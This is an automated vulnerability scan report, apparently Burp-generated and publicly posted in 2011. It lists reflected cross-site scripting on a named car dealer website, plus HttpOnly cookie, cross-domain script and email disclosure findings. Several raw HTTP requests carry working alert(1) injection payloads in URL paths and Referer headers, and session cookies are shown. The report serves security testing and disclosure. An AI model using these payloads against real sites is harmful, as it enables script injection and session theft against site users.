XSS, DORK, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Sun Apr 17 09:43:50 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog

Loading

1. Cross-site scripting (reflected)

1.1. http://www.gillmanauto.com/smartbrowse/ajax/used.htm [REST URL parameter 1]

1.2. http://www.gillmanauto.com/smartbrowse/ajax/used.htm [REST URL parameter 2]

1.3. http://www.gillmanauto.com/index.htm [Referer HTTP header]

1.4. http://www.gillmanauto.com/index.htm [Referer HTTP header]

2. Cookie without HttpOnly flag set

2.1. http://www.gillmanauto.com/index.htm

2.2. http://www.gillmanauto.com/apps/video/player/ddcVideoPlayer_np.swf

2.3. http://www.gillmanauto.com/shows/slideshows/01d4bb5f0a0a008901604a9e791b529a.xml

2.4. http://www.gillmanauto.com/sites/g/gillmanauto/images/v8-siteheader-default.swf

2.5. http://www.gillmanauto.com/v8/templates/139/images/red_white/facebook-icon.gif

2.6. http://www.gillmanauto.com/v8/widgets/generic/image/semantic-slideshow.swf

3. Cross-domain script include

4. Email addresses disclosed

5. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.gillmanauto.com/smartbrowse/ajax/used.htm [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.gillmanauto.com
Path:   /smartbrowse/ajax/used.htm

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as text between NOSCRIPT tags. The payload 3025a</noscript><script>alert(1)</script>81d6fe8ab38 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within NOSCRIPT tags does not prevent XSS attacks if the user is able to close the NOSCRIPT tag.

Request

GET /smartbrowse3025a</noscript><script>alert(1)</script>81d6fe8ab38/ajax/used.htm?detect=false&reset=InventoryListing&showYear=true&showMake=true&showModel=true&showAllModels=false&showTrim=true&showBodyStyle=true&showMileage=false&showPrice=true&showLocation=false&showHighywayMpgs=false HTTP/1.1
Host: www.gillmanauto.com
Proxy-Connection: keep-alive
Referer: http://www.gillmanauto.com/index.htm
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/json, text/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ssoid=63e942630a0a0043011b315cea80c7c3; JSESSIONID=h1refb1rpn7nt; lbpoolmember=1728122378.40475.0000; ddcpoolid=CmsPoolA; __utmz=1.1303051319.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/41; __utma=1.1275321047.1303051319.1303051319.1303051319.1; __utmc=1; __utmb=1.2.10.1303051319

Response

HTTP/1.1 404 Not Found
Date: Sun, 17 Apr 2011 14:42:43 GMT
Server: Jetty/5.1.1 (Linux/2.6.18-128.7.1.el5 i386 java/1.5.0_16
P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Content-Type: text/html;charset=iso-8859-1
X-DDC-Arch-Trace: ,HttpResponse
Content-Length: 13660

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- wccms26.dealer.ddc p7070 -->

   <title>Gillman Acura, Honda, Nissan, Mitsubishi, Chevrolet, Subaru, Chrysler, Jeep, Dodge, GMC,
...[SNIP]...
</script>1fec5e9f872&amp;20=www.gillmanauto.com&amp;21=/smartbrowse3025a</noscript><script>alert(1)</script>81d6fe8ab38/ajax/used.htm&amp;50=63e942630a0a0043011b315cea80c7c3&amp;51=&amp;52=&amp;53=&amp;54=en_US&amp;55=173.193.214.243&amp;56=&amp;60=&amp;61=&amp;64=&amp;58=&amp;59=&amp;80=&amp;81=&amp;82=&amp;83=&amp;62
...[SNIP]...

1.2. http://www.gillmanauto.com/smartbrowse/ajax/used.htm [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.gillmanauto.com
Path:   /smartbrowse/ajax/used.htm

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as text between NOSCRIPT tags. The payload aaedb</noscript><script>alert(1)</script>2cfa6db0fd6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within NOSCRIPT tags does not prevent XSS attacks if the user is able to close the NOSCRIPT tag.

Request

GET /smartbrowse/ajaxaaedb</noscript><script>alert(1)</script>2cfa6db0fd6/used.htm?detect=false&reset=InventoryListing&showYear=true&showMake=true&showModel=true&showAllModels=false&showTrim=true&showBodyStyle=true&showMileage=false&showPrice=true&showLocation=false&showHighywayMpgs=false HTTP/1.1
Host: www.gillmanauto.com
Proxy-Connection: keep-alive
Referer: http://www.gillmanauto.com/index.htm
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/json, text/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ssoid=63e942630a0a0043011b315cea80c7c3; JSESSIONID=h1refb1rpn7nt; lbpoolmember=1728122378.40475.0000; ddcpoolid=CmsPoolA; __utmz=1.1303051319.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/41; __utma=1.1275321047.1303051319.1303051319.1303051319.1; __utmc=1; __utmb=1.2.10.1303051319

Response

HTTP/1.1 404 Not Found
Date: Sun, 17 Apr 2011 14:42:44 GMT
Server: Jetty/5.1.1 (Linux/2.6.18-128.7.1.el5 i386 java/1.5.0_16
P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Content-Type: text/html;charset=iso-8859-1
X-DDC-Arch-Trace: ,HttpResponse
Content-Length: 13660

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- wccms26.dealer.ddc p7070 -->

   <title>Gillman Acura, Honda, Nissan, Mitsubishi, Chevrolet, Subaru, Chrysler, Jeep, Dodge, GMC,
...[SNIP]...
</script>1fec5e9f872&amp;20=www.gillmanauto.com&amp;21=/smartbrowse/ajaxaaedb</noscript><script>alert(1)</script>2cfa6db0fd6/used.htm&amp;50=63e942630a0a0043011b315cea80c7c3&amp;51=&amp;52=&amp;53=&amp;54=en_US&amp;55=173.193.214.243&amp;56=&amp;60=&amp;61=&amp;64=&amp;58=&amp;59=&amp;80=&amp;81=&amp;82=&amp;83=&amp;62-0=10
...[SNIP]...

1.3. http://www.gillmanauto.com/index.htm [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.gillmanauto.com
Path:   /index.htm

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71adf"><script>alert(1)</script>1fec5e9f872 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /index.htm HTTP/1.1
Host: www.gillmanauto.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=71adf"><script>alert(1)</script>1fec5e9f872

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 14:17:57 GMT
Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16
Connection: close
P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: ssoid=63d339870a0a00d701afcf208d25b633;path=/
Content-Type: text/html;charset=iso-8859-1
Set-Cookie: JSESSIONID=1qt0ejmih4m4o;path=/
Set-Cookie: lbpoolmember=3607170570.40475.0000; path=/
X-DDC-Arch-Trace: ,HttpResponse,CookieSet
Set-Cookie: ddcpoolid=CmsPoolA;path=/;

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- wccms21.dealer.ddc p7070 -->

   <title>Gillman Acura, Honda, Nissan, Mitsubishi, Chevrolet, Subaru, Chrysler, Jeep, Dodge, GMC,
...[SNIP]...
<img src="http://hits.dealer.com/clear.gif?&amp;4=0&amp;5=0&amp;10=http://www.google.com/search?hl=en&q=71adf"><script>alert(1)</script>1fec5e9f872&amp;20=www.gillmanauto.com&amp;21=/index.htm&amp;50=63d339870a0a00d701afcf208d25b633&amp;51=&amp;52=&amp;53=&amp;54=en_US&amp;55=173.193.214.243&amp;56=&amp;60=&amp;61=&amp;64=&amp;58=&amp;59=&amp;80=
...[SNIP]...

1.4. http://www.gillmanauto.com/index.htm [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.gillmanauto.com
Path:   /index.htm

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7633a'-alert(1)-'b4f5a8fc932 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /index.htm HTTP/1.1
Host: www.gillmanauto.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=7633a'-alert(1)-'b4f5a8fc932

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 14:18:13 GMT
Server: Jetty/5.1.1 (Linux/2.6.18-128.7.1.el5 i386 java/1.5.0_16
Connection: close
P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: ssoid=63d376310a0a0043011b315c10d03de5;path=/
Content-Type: text/html;charset=iso-8859-1
Set-Cookie: JSESSIONID=491h82iwsa0mj;path=/
Set-Cookie: lbpoolmember=1728122378.40475.0000; path=/
X-DDC-Arch-Trace: ,HttpResponse,CookieSet
Set-Cookie: ddcpoolid=CmsPoolA;path=/;

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- wccms26.dealer.ddc p7070 -->

   <title>Gillman Acura, Honda, Nissan, Mitsubishi, Chevrolet, Subaru, Chrysler, Jeep, Dodge, GMC,
...[SNIP]...
tact: '',
               portal: '',
               sem: '',
               rlCookie: '',
               region: '',
               keyword: '',
               locality: 'en_US',
               host: '173.193.214.243',
               sessionReferrer: 'http://www.google.com/search?hl=en&q=7633a'-alert(1)-'b4f5a8fc932',
               tcdkwid: '',
               tcdcmpid: '',
               tcdadid: '',
refId: '',
               platform: '',
               version: '',
               skin: '',
               templateExtra: '',
                       type: 10,
           extra: 'INDEX'
       };
               D
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next
There are 6 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



2.1. http://www.gillmanauto.com/index.htm  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.gillmanauto.com
Path:   /index.htm

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /index.htm HTTP/1.1
Host: www.gillmanauto.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 14:17:44 GMT
Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16
Connection: close
P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: ssoid=63d3063a0a0a00d701afcf207f848d24;path=/
Content-Type: text/html;charset=iso-8859-1
Set-Cookie: JSESSIONID=16yu4l7go8ukz;path=/
Set-Cookie: lbpoolmember=3607170570.40475.0000; path=/
X-DDC-Arch-Trace: ,HttpResponse,CookieSet
Set-Cookie: ddcpoolid=CmsPoolA;path=/;

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- wccms21.dealer.ddc p7070 -->

   <title>Gillman Acura, Honda, Nissan, Mitsubishi, Chevrolet, Subaru, Chrysler, Jeep, Dodge, GMC,
...[SNIP]...

2.2. http://www.gillmanauto.com/apps/video/player/ddcVideoPlayer_np.swf  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.gillmanauto.com
Path:   /apps/video/player/ddcVideoPlayer_np.swf

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /apps/video/player/ddcVideoPlayer_np.swf?ver=1.9.7 HTTP/1.1
Host: www.gillmanauto.com
Proxy-Connection: keep-alive
Referer: http://www.gillmanauto.com/index.htm
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ssoid=63e942630a0a0043011b315cea80c7c3; JSESSIONID=h1refb1rpn7nt; lbpoolmember=1728122378.40475.0000; ddcpoolid=CmsPoolA; __utmz=1.1303051319.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/41; __utma=1.1275321047.1303051319.1303051319.1303051319.1; __utmc=1; __utmb=1.2.10.1303051319

Response

HTTP/1.1 200 OK
Content-Type: application/x-shockwave-flash
ETag: "-5702536121365908084"
Accept-Ranges: bytes
Last-Modified: Fri, 21 Jan 2011 16:08:17 GMT
Content-Length: 137859
Date: Sun, 17 Apr 2011 14:42:01 GMT
Server: lighttpd/1.4.10
Set-Cookie: lbpoolmember=3590393354.20480.0000; path=/
X-DDC-Arch-Trace: ,HttpResponse

CWS    ....x...wX...(Z=0d.CF..0.    "Q...J..$H.......A..Q.A....Q..tD1."".`"........z.>g.....{..|]SS..
.V..... >.....@.B....    ....q....@`}@PT.Y.`.....@.F^x.0
...6.. .......8..\......|<..D......?../...OP.O.L
...[SNIP]...

2.3. http://www.gillmanauto.com/shows/slideshows/01d4bb5f0a0a008901604a9e791b529a.xml  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.gillmanauto.com
Path:   /shows/slideshows/01d4bb5f0a0a008901604a9e791b529a.xml

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /shows/slideshows/01d4bb5f0a0a008901604a9e791b529a.xml?locale=en_US HTTP/1.1
Host: www.gillmanauto.com
Proxy-Connection: keep-alive
Referer: http://www.gillmanauto.com/v8/widgets/generic/image/semantic-slideshow.swf
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ssoid=63e942630a0a0043011b315cea80c7c3; JSESSIONID=h1refb1rpn7nt; ddcpoolid=CmsPoolA; __utmz=1.1303051319.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/41; __utma=1.1275321047.1303051319.1303051319.1303051319.1; __utmc=1; __utmb=1.2.10.1303051319; lbpoolmember=3623947786.20480.0000

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 14:42:11 GMT
Server: Jetty/5.1.1 (Linux/2.6.18-128.7.1.el5 i386 java/1.5.0_16
Content-Type: text/xml;charset=iso-8859-1
Set-Cookie: lbpoolmember=1728122378.40475.0000; path=/
X-DDC-Arch-Trace: ,HttpResponse
Content-Length: 2539

<?xml version="1.0"?><gallery rotate="0">
<image path="http://pictures.dealer.com/g/gillmanauto/0658/08cf1ad340463872007bd46adc4eb102.jpg" link="" pageTarget="" />
<image path="http://pictures.dealer.
...[SNIP]...

2.4. http://www.gillmanauto.com/sites/g/gillmanauto/images/v8-siteheader-default.swf  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.gillmanauto.com
Path:   /sites/g/gillmanauto/images/v8-siteheader-default.swf

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/g/gillmanauto/images/v8-siteheader-default.swf?accountId=gillmanauto&dealerName=Gillman%20Automotive%20Group&dealerInfo=$account.Address.getAddress1()%20$account.Address.getCity(),%20$account.Address.getState()%20$account.Address.getPostalCode()&phone1Label=Sales:&phone1=&phone2Label=Service:&phone2=&phone3Label=Parts:&phone3=&fax=&email1=gillman1@gillmanauto.com&language=en&siteIndex=true&franchises=[subaru,%20nissan,%20mitsubishi,%20honda,%20acura,%20chevrolet,%20buick,%20gmc,%20chrysler,%20jeep,%20dodge,%20ram]&dealerValueStatement= HTTP/1.1
Host: www.gillmanauto.com
Proxy-Connection: keep-alive
Referer: http://www.gillmanauto.com/index.htm
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ssoid=63e942630a0a0043011b315cea80c7c3; JSESSIONID=h1refb1rpn7nt; lbpoolmember=1728122378.40475.0000; ddcpoolid=CmsPoolA; __utmz=1.1303051319.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/41; __utma=1.1275321047.1303051319.1303051319.1303051319.1; __utmc=1; __utmb=1.2.10.1303051319

Response

HTTP/1.1 200 OK
Content-Type: application/x-shockwave-flash
ETag: "8069559885457818375"
Accept-Ranges: bytes
Last-Modified: Tue, 23 Nov 2010 21:43:52 GMT
Content-Length: 26053
Date: Sun, 17 Apr 2011 14:41:59 GMT
Server: lighttpd/1.4.10
Set-Cookie: lbpoolmember=3623947786.20480.0000; path=/
X-DDC-Arch-Trace: ,HttpResponse

CWS
Tx..x...y<...8~.Y.CL.[hd.;.,.K..e..2......$K....Q.,E...I..B........w.H.....>...........\g..u.s.3..w..d...VsI(.A...0.    Xc.leMI
...5B.L....E.ii%&&j&.iF..j.,^.XK[WKWW....M...M...._....`....    ......p.}
...[SNIP]...

2.5. http://www.gillmanauto.com/v8/templates/139/images/red_white/facebook-icon.gif  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.gillmanauto.com
Path:   /v8/templates/139/images/red_white/facebook-icon.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /v8/templates/139/images/red_white/facebook-icon.gif HTTP/1.1
Host: www.gillmanauto.com
Proxy-Connection: keep-alive
Referer: http://www.gillmanauto.com/index.htm
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ssoid=63e942630a0a0043011b315cea80c7c3; JSESSIONID=h1refb1rpn7nt; lbpoolmember=1728122378.40475.0000; ddcpoolid=CmsPoolA

Response

HTTP/1.1 200 OK
Content-Type: image/gif
ETag: "7814055884486298376"
Accept-Ranges: bytes
Last-Modified: Fri, 18 Dec 2009 15:09:05 GMT
Content-Length: 373
Date: Sun, 17 Apr 2011 14:41:57 GMT
Server: lighttpd/1.4.10
Set-Cookie: lbpoolmember=3623947786.20480.0000; path=/
X-DDC-Arch-Trace: ,HttpResponse

GIF89a2......S..W........4m....!a.h.....Fx.x..............................U..................................!.......,....2.......D.di.h..@%.p,..l.$.....*.....d.A"F.(P..a.8.".@,0.@]%.`......!.&`#.-a.
...[SNIP]...

2.6. http://www.gillmanauto.com/v8/widgets/generic/image/semantic-slideshow.swf  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.gillmanauto.com
Path:   /v8/widgets/generic/image/semantic-slideshow.swf

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /v8/widgets/generic/image/semantic-slideshow.swf HTTP/1.1
Host: www.gillmanauto.com
Proxy-Connection: keep-alive
Referer: http://www.gillmanauto.com/index.htm
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ssoid=63e942630a0a0043011b315cea80c7c3; JSESSIONID=h1refb1rpn7nt; lbpoolmember=1728122378.40475.0000; ddcpoolid=CmsPoolA

Response

HTTP/1.1 200 OK
Content-Type: application/x-shockwave-flash
ETag: "8637866625878465884"
Accept-Ranges: bytes
Last-Modified: Mon, 27 Dec 2010 19:12:23 GMT
Content-Length: 57942
Date: Sun, 17 Apr 2011 14:41:59 GMT
Server: lighttpd/1.4.10
Set-Cookie: lbpoolmember=3623947786.20480.0000; path=/
X-DDC-Arch-Trace: ,HttpResponse

CWS
....x....x...?....h%Y...!...\.i..K..ep..q.p.{..-.V.%_I...H.!..BB
......{...FH.....jUl ..}......3ugg..93;;....
..K..r.$I...-[6.r.%R[w4....I.....O..@.=...].......n~r.[z.....>.H....%.wl..}........
...[SNIP]...

3. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.gillmanauto.com
Path:   /index.htm

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /index.htm HTTP/1.1
Host: www.gillmanauto.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 14:17:44 GMT
Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16
Connection: close
P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: ssoid=63d3063a0a0a00d701afcf207f848d24;path=/
Content-Type: text/html;charset=iso-8859-1
Set-Cookie: JSESSIONID=16yu4l7go8ukz;path=/
Set-Cookie: lbpoolmember=3607170570.40475.0000; path=/
X-DDC-Arch-Trace: ,HttpResponse,CookieSet
Set-Cookie: ddcpoolid=CmsPoolA;path=/;

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- wccms21.dealer.ddc p7070 -->

   <title>Gillman Acura, Honda, Nissan, Mitsubishi, Chevrolet, Subaru, Chrysler, Jeep, Dodge, GMC,
...[SNIP]...
<link rel="shortcut icon" type="image/vnd.microsoft.icon" href="http://static.dealer.com/sites/g/gillmanauto/images/site-favicon-default.ico?1267626780000" />
           
   <script type="text/javascript" src="http://static.dealer.com/v8/global/js/ddc-common.js?1296844757000"></script>
...[SNIP]...
</script>


<script type="text/javascript" src="http://static.dealer.com/v8/global/js/validation/validation.pack.js?1300738306000"></script>

<script type="text/javascript" src="http://static.dealer.com/v8/widgets/automotive/inventory/smartbrowse/js/location-style1.pack.js?1273633571000"></script>

<script type="text/javascript" src="http://static.dealer.com/v8/global/js/jquery/jquery.flashback.pack.js?1290545914000"></script>

<script type="text/javascript" src="http://static.dealer.com/v8/widgets/generic/group/js/bestfit.pack.js?1273633571000"></script>

<script type="text/javascript" src="http://static.dealer.com/v8/global/js/jquery/jquery.hoverintent.min.js?1273633554000"></script>

<script type="text/javascript" src="http://static.dealer.com/v8/widgets/generic/group/js/group-nav.pack.js?1273633571000"></script>

<script type="text/javascript" src="http://static.dealer.com/v8/widgets/automotive/inventory/smartbrowse/js/generic-smartbrowse.pack.js?1286991339000"></script>


<script type="text/javascript" src="http://static.dealer.com/v8/global/js/misc/google-analytics.pack.js?1273851376000"></script>
...[SNIP]...

4. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.gillmanauto.com
Path:   /index.htm

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /index.htm HTTP/1.1
Host: www.gillmanauto.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 14:17:44 GMT
Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16
Connection: close
